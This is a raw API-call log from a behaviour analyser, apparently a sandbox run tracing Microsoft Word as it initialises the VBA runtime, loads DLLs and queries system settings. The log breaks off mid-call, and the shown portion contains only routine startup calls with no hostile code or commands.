# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 04.10.2020 21:52:49.825 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x1a7bc000" os_pid = "0x12d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7c0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x10e8 Thread: id = 2 os_tid = 0x105c Thread: id = 3 os_tid = 0x1060 Thread: id = 4 os_tid = 0x1054 Thread: id = 5 os_tid = 0x1008 Thread: id = 6 os_tid = 0x13e4 Thread: id = 7 os_tid = 0x13bc Thread: id = 8 os_tid = 0x13a0 Thread: id = 9 os_tid = 0x1398 Thread: id = 10 os_tid = 0x138c Thread: id = 11 os_tid = 0x1388 Thread: id = 12 os_tid = 0x1384 Thread: id = 13 os_tid = 0x1380 Thread: id = 14 os_tid = 0x137c Thread: id = 15 os_tid = 0x1374 Thread: id = 16 os_tid = 0x1370 Thread: id = 17 os_tid = 0x136c Thread: id = 18 os_tid = 0x1368 Thread: id = 19 os_tid = 0x1364 Thread: id = 20 os_tid = 0x1360 Thread: id = 21 os_tid = 0x135c Thread: id = 22 os_tid = 0x1358 Thread: id = 23 os_tid = 0x1354 Thread: id = 24 os_tid = 0x1350 Thread: id = 25 os_tid = 0x134c Thread: id = 26 os_tid = 0x1348 Thread: id = 27 os_tid = 0x12d4 [0062.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbcb38ef9d0 | out: lpSystemTimeAsFileTime=0xbcb38ef9d0*(dwLowDateTime=0xd8ac7271, dwHighDateTime=0x1d69a98)) [0062.886] GetCurrentProcessId () returned 0x12d0 [0062.886] GetCurrentThreadId () returned 0x12d4 [0062.886] GetTickCount () returned 0x1151951 [0062.886] QueryPerformanceCounter (in: lpPerformanceCount=0xbcb38ef9d8 | out: lpPerformanceCount=0xbcb38ef9d8*=15999646243) returned 1 [0062.890] __dllonexit () returned 0x5560000fff3d20c9 [0062.891] __dllonexit () returned 0xf7e0000fff3d20ca [0062.893] __dllonexit () returned 0x5a60000fff3d20cb [0062.894] __dllonexit () returned 0x5160000fff3d20cb [0062.894] __dllonexit () returned 0x4160000fff3d20cb [0062.896] __dllonexit () returned 0x4560000fff3d20cb [0062.896] __dllonexit () returned 0x4960000fff3d20cb [0062.896] __dllonexit () returned 0x4d60000fff3d20cb [0062.897] __dllonexit () returned 0x3160000fff3d20cb [0062.897] __dllonexit () returned 0x3560000fff3d20cb [0062.898] __dllonexit () returned 0x3960000fff3d20cb [0062.898] __dllonexit () returned 0x3d60000fff3d20cb [0062.899] __dllonexit () returned 0x2160000fff3d20cb [0062.899] __dllonexit () returned 0x2560000fff3d20cb [0062.900] __dllonexit () returned 0x2960000fff3d20cb [0062.900] __dllonexit () returned 0x2d60000fff3d20cb [0062.900] __dllonexit () returned 0x1160000fff3d20cb [0062.901] __dllonexit () returned 0xaae0000fff3d20c5 [0062.901] __dllonexit () returned 0x5b60000fff3d20c9 [0062.902] __dllonexit () returned 0x9760000fff3d20c5 [0062.902] __dllonexit () returned 0x5ce0000fff3d20c9 [0062.903] __dllonexit () returned 0x4360000fff3d20c9 [0062.903] __dllonexit () returned 0x4760000fff3d20c9 [0062.903] __dllonexit () returned 0x4d60000fff3d20c9 [0062.903] __dllonexit () returned 0x3360000fff3d20c9 [0062.904] __dllonexit () returned 0x34e0000fff3d20c9 [0062.904] DisableThreadLibraryCalls (hLibModule=0x7ff9bdb50000) returned 1 [0062.904] GetVersion () returned 0x3ad7000a [0062.905] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0062.905] GetUserDefaultLCID () returned 0x411 [0062.905] CompareStringW (Locale=0x411, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0062.905] GetSystemMetrics (nIndex=5) returned 1 [0062.905] GetSystemMetrics (nIndex=6) returned 1 [0062.905] GetSystemMetrics (nIndex=11) returned 32 [0062.905] GetSystemMetrics (nIndex=12) returned 32 [0062.905] GetSystemMetrics (nIndex=34) returned 136 [0062.905] GetSystemMetrics (nIndex=35) returned 39 [0062.905] GetSystemMetrics (nIndex=0) returned 1440 [0062.905] GetSystemMetrics (nIndex=1) returned 900 [0062.905] GetSystemMetrics (nIndex=32) returned 4 [0062.905] GetSystemMetrics (nIndex=33) returned 4 [0062.905] GetSystemMetrics (nIndex=4) returned 23 [0062.905] GetSystemMetrics (nIndex=42) returned 0 [0062.905] GetStockObject (i=15) returned 0x88000b [0062.905] GetStockObject (i=7) returned 0xb00017 [0062.905] GetStockObject (i=6) returned 0xb00018 [0062.905] GetStockObject (i=8) returned 0xb00016 [0062.905] GetStockObject (i=4) returned 0x900011 [0062.905] GetStockObject (i=2) returned 0x900012 [0062.905] GetStockObject (i=0) returned 0x900010 [0062.905] GetStockObject (i=5) returned 0x900015 [0062.905] GetStockObject (i=13) returned 0x8a01c2 [0062.905] GetDC (hWnd=0x0) returned 0x108b8 [0062.906] GetDeviceCaps (hdc=0x108b8, index=14) returned 1 [0062.906] GetDeviceCaps (hdc=0x108b8, index=12) returned 32 [0062.906] GetDeviceCaps (hdc=0x108b8, index=38) returned 32409 [0062.906] ReleaseDC (hWnd=0x0, hDC=0x108b8) returned 1 [0062.906] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7ff9bdf2e048 | out: ppMalloc=0x7ff9bdf2e048*=0x7ff9e7edf3f0) returned 0x0 [0064.459] malloc (_Size=0x140) returned 0x2885bb63790 [0064.460] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff79b6d0000 [0064.460] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7ff9bdf2feb8, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0xbcb38f4c50, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0xbcb38f4c50, pcbWrittenOrRequired=0x0) returned 1 [0064.460] ActivateActCtx (in: hActCtx=0x288576afa58, lpCookie=0xbcb38f4c40 | out: hActCtx=0x288576afa58, lpCookie=0xbcb38f4c40) returned 1 [0064.460] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0xbcb38f4c60 | out: ReturnedData=0xbcb38f4c60) returned 1 [0064.460] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7ff9dd020000 [0064.461] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000172) returned 1 [0064.461] RegisterClassA (lpWndClass=0xbcb38f4f90) returned 0xc1f6 [0064.464] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000173) returned 1 [0064.465] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0064.465] SetCursor (hCursor=0x10007) returned 0x10007 [0064.465] _set_invalid_parameter_handler (_Handler=0x7ff9bdb5dd8c) returned 0x0 [0064.465] wcscpy_s (in: _Destination=0x2885d122058, _SizeInWords=0xb, _Source="7.1\\" | out: _Destination="7.1\\") returned 0x0 [0064.465] wcscpy_s (in: _Destination=0x2885d122060, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0064.465] GetACP () returned 0x4e4 [0064.465] malloc (_Size=0x7e) returned 0x2885bb638e0 [0064.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word 文書 (*.docm;*.dotm;*.doc;*.dot)", cchWideChar=63, lpMultiByteStr=0x2885bb638e0, cbMultiByte=126, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word ?? (*.docm;*.dotm;*.doc;*.dot)", lpUsedDefaultChar=0x0) returned 63 [0064.466] GetDC (hWnd=0x0) returned 0x108b8 [0064.467] GetDeviceCaps (hdc=0x108b8, index=88) returned 96 [0064.467] GetDeviceCaps (hdc=0x108b8, index=90) returned 96 [0064.467] MulDiv (nNumber=96, nNumerator=100, nDenominator=96) returned 100 [0064.467] MulDiv (nNumber=96, nNumerator=100, nDenominator=96) returned 100 [0064.467] ReleaseDC (hWnd=0x0, hDC=0x108b8) returned 1 [0064.469] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7ff9bdf36ba0 | out: phModule=0x7ff9bdf36ba0*=0x7ff9d4f90000) returned 1 [0064.469] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7ff9d50565b0 [0064.470] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiGetProductCodeA") returned 0x7ff9d504c070 [0064.470] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiReinstallFeatureA") returned 0x7ff9d5058a00 [0064.471] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiProvideComponentA") returned 0x7ff9d5055a10 [0064.475] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0064.475] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0064.475] lstrcpyW (in: lpString1=0xbcb38f4d10, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0064.476] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0064.477] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7ff9bd7d0000 [0065.920] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000174) returned 1 [0065.920] GetLastError () returned 0x0 [0065.921] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoVBADigSigCallDlg") returned 0x7ff9bd8cf500 [0065.921] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoVbaInitSecurity") returned 0x7ff9bd8446c0 [0065.922] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7ff9bd7f1290 [0065.922] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7ff9bd844570 [0065.922] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFInitOffice") returned 0x7ff9bd7eeac0 [0065.923] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoUninitOffice") returned 0x7ff9bd7defe0 [0065.923] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFGetFontSettings") returned 0x7ff9bd7d4260 [0065.923] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoRgchToRgwch") returned 0x7ff9bd7e2d40 [0065.924] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7ff9bd7d7e30 [0065.925] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7ff9bd7d7dd0 [0065.925] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFCreateControl") returned 0x7ff9bd7d89a0 [0065.925] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFLongLoad") returned 0x7ff9bd90bea0 [0065.926] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFLongSave") returned 0x7ff9bd90bee0 [0065.926] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFGetTooltips") returned 0x7ff9bd7e28c0 [0065.927] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFSetTooltips") returned 0x7ff9bd844970 [0065.927] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFLoadToolbarSet") returned 0x7ff9bd833140 [0065.927] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFCreateToolbarSet") returned 0x7ff9bd7d56c0 [0065.928] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoHpalOffice") returned 0x7ff9bd7e0d10 [0065.928] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFWndProcNeeded") returned 0x7ff9bd7d3f40 [0065.928] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFWndProc") returned 0x7ff9bd7d6ed0 [0065.929] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFCreateITFCHwnd") returned 0x7ff9bd7d3f70 [0065.929] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoDestroyITFC") returned 0x7ff9bd7dee30 [0065.929] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7ff9bd7de5b0 [0065.930] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFGetComponentManager") returned 0x7ff9bd7d7ea0 [0065.930] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoMultiByteToWideChar") returned 0x7ff9bd7e07d0 [0065.931] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoWideCharToMultiByte") returned 0x7ff9bd7d8dd0 [0065.931] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoHrRegisterAll") returned 0x7ff9bd8cf390 [0065.931] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFSetComponentManager") returned 0x7ff9bd7e4890 [0065.932] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFCreateStdComponentManager") returned 0x7ff9bd7d4050 [0065.932] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFHandledMessageNeeded") returned 0x7ff9bd7dadc0 [0065.933] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoPeekMessage") returned 0x7ff9bd7daa00 [0065.933] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFCreateIPref") returned 0x7ff9bd7d17f0 [0065.933] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoDestroyIPref") returned 0x7ff9bd7def30 [0065.934] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoChsFromLid") returned 0x7ff9bd7d15d0 [0065.934] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoCpgFromChs") returned 0x7ff9bd7d6810 [0065.935] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoSetLocale") returned 0x7ff9bd7d17d0 [0065.935] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7ff9bd7d4000 [0065.936] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoSetVbaInterfaces") returned 0x7ff9bd8d3230 [0065.936] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="MsoGetControlInstanceId") returned 0x7ff9bd8a4de0 [0065.936] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7ff9bd912eb0 [0065.937] GetProcAddress (hModule=0x7ff9bd7d0000, lpProcName="VbeuiEnterpriseProtect") returned 0x7ff9bd912f70 [0065.943] malloc (_Size=0x48) returned 0x2885bb63970 [0065.944] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc1f7 [0065.944] lstrlenA (lpString="") returned 0 [0065.944] malloc (_Size=0x1) returned 0x2885bb639c0 [0065.944] lstrcpyA (in: lpString1=0x2885bb639c0, lpString2="" | out: lpString1="") returned="" [0065.944] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0xbcb38f4cf0, nSize=0x118 | out: lpBuffer="") returned 0x0 [0065.944] SetErrorMode (uMode=0x8001) returned 0x8001 [0065.944] GetModuleFileNameA (in: hModule=0x7ff9bdb50000, lpFilename=0xbcb38f4a00, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] lstrcpyA (in: lpString1=0xbcb38f48f0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0065.944] strcpy_s (in: _Dst=0xbcb38f4b10, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0065.944] _ultoa_s (in: _Val=0x411, _DstBuf=0xbcb38f4670, _Size=0x6, _Radix=10 | out: _DstBuf="1041") returned 0x0 [0065.944] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1041" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041") returned 0x0 [0065.944] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\") returned 0x0 [0065.946] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x0 [0065.946] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 75 [0065.950] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL", lpszDst=0xbcb38f4520, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 1 [0065.950] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0065.952] strcpy_s (in: _Dst=0xbcb38f47a0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x0 [0065.953] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x28857830000 [0065.972] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000175) returned 1 [0065.972] GetSystemDefaultLCID () returned 0x409 [0065.972] GetUserDefaultLCID () returned 0x411 [0065.972] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0xbcb38f4e30, cchData=2 | out: lpLCData=".") returned 2 [0065.972] GetStockObject (i=13) returned 0x8a01c2 [0065.972] GetObjectA (in: h=0x8a01c2, c=60, pv=0xbcb38f4dd0 | out: pv=0xbcb38f4dd0) returned 60 [0065.972] lstrcpyA (in: lpString1=0x7ff9bdf37260, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0065.972] lstrcpyA (in: lpString1=0x7ff9bdf37370, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0065.973] GetModuleFileNameA (in: hModule=0x7ff9bdb50000, lpFilename=0xbcb38f4e70, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0065.982] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0065.982] malloc (_Size=0x43) returned 0x2885bb639e0 [0065.982] malloc (_Size=0x43) returned 0x2885bb63a30 [0065.982] lstrcpyA (in: lpString1=0x2885bb639e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0065.982] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xbcb38f4d00 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0065.982] strnlen (_Str="C:\\Users\\FD1HVy\\Documents", _MaxCount=0x7fffffff) returned 0x19 [0065.982] malloc (_Size=0x1a) returned 0x2885bb63a80 [0065.982] malloc (_Size=0x1a) returned 0x2885bb63ab0 [0065.982] lstrcpynA (in: lpString1=0x2885bb63a80, lpString2="C:\\Users\\FD1HVy\\Documents", iMaxLength=26 | out: lpString1="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0065.983] GetVersionExA (in: lpVersionInformation=0xbcb38f4d60*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0xbcb38f4d60*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0065.983] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0xbcb38f4c88 | out: phkResult=0xbcb38f4c88*=0x122e) returned 0x0 [0065.983] strcpy_s (in: _Dst=0xbcb38f4c90, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0065.984] strcpy_s (in: _Dst=0xbcb38f4d10, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0065.984] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0065.984] RegQueryValueA (in: hKey=0x122e, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0xbcb38f4d10, lpcbData=0xbcb38f4c80 | out: lpData="\x0f}\x02\x01", lpcbData=0xbcb38f4c80) returned 0x2 [0065.984] RegCloseKey (hKey=0x122e) returned 0x0 [0065.984] OleInitialize (pvReserved=0x0) returned 0x1 [0065.984] OaBuildVersion () returned 0x321396 [0065.984] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7ff9e8160000 [0066.481] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000176) returned 1 [0066.481] GetLastError () returned 0x0 [0066.482] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SysFreeString") returned 0x7ff9e816cea0 [0066.484] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLib") returned 0x7ff9e81779a0 [0066.486] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="RegisterTypeLib") returned 0x7ff9e8195590 [0066.493] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="QueryPathOfRegTypeLib") returned 0x7ff9e8195470 [0066.520] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="UnRegisterTypeLib") returned 0x7ff9e8194020 [0066.520] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleTranslateColor") returned 0x7ff9e81779b0 [0066.521] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreateFontIndirect") returned 0x7ff9e8161bb0 [0066.521] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePictureIndirect") returned 0x7ff9e8161c00 [0066.522] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleLoadPicture") returned 0x7ff9e81c13e0 [0066.522] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7ff9e81c1350 [0066.523] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePropertyFrame") returned 0x7ff9e81c12f0 [0066.523] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleIconToCursor") returned 0x7ff9e81c1390 [0066.524] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLibEx") returned 0x7ff9e81703c0 [0066.524] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleLoadPictureEx") returned 0x7ff9e81c1410 [0066.524] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0066.524] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0066.524] GetClassInfoA (in: hInstance=0x7ff9bdb50000, lpClassName="VBBubble", lpWndClass=0xbcb38f4dc0 | out: lpWndClass=0xbcb38f4dc0) returned 0 [0066.525] RegisterClassA (lpWndClass=0xbcb38f4dc0) returned 0xc1f8 [0066.525] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000177) returned 1 [0066.525] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Count") returned 0x407630 [0066.526] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_Default") returned 0x40c26a [0066.526] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Item") returned 0x407ad7 [0066.526] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Add") returned 0x4072f7 [0066.526] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Remove") returned 0x40b1cf [0066.526] GlobalAddAtomA (lpString="VBDisabled") returned 0xc109 [0066.526] malloc (_Size=0x90) returned 0x2885bb63ae0 [0066.527] RegisterClassExA (param_1=0xbcb38f4ee0) returned 0xc1f9 [0066.527] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba00000178) returned 1 [0066.528] SetThreadDpiAwarenessContext () returned 0x80000011 [0066.528] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff9bdb50000, lpParam=0x0) returned 0x6003e [0066.532] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x81, wParam=0x0, lParam=0xbcb38f4800) returned 0x1 [0066.534] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x83, wParam=0x0, lParam=0xbcb38f4860) returned 0x0 [0066.534] NtdllDefWindowProc_A (hWnd=0x6003e, Msg=0x1, wParam=0x0, 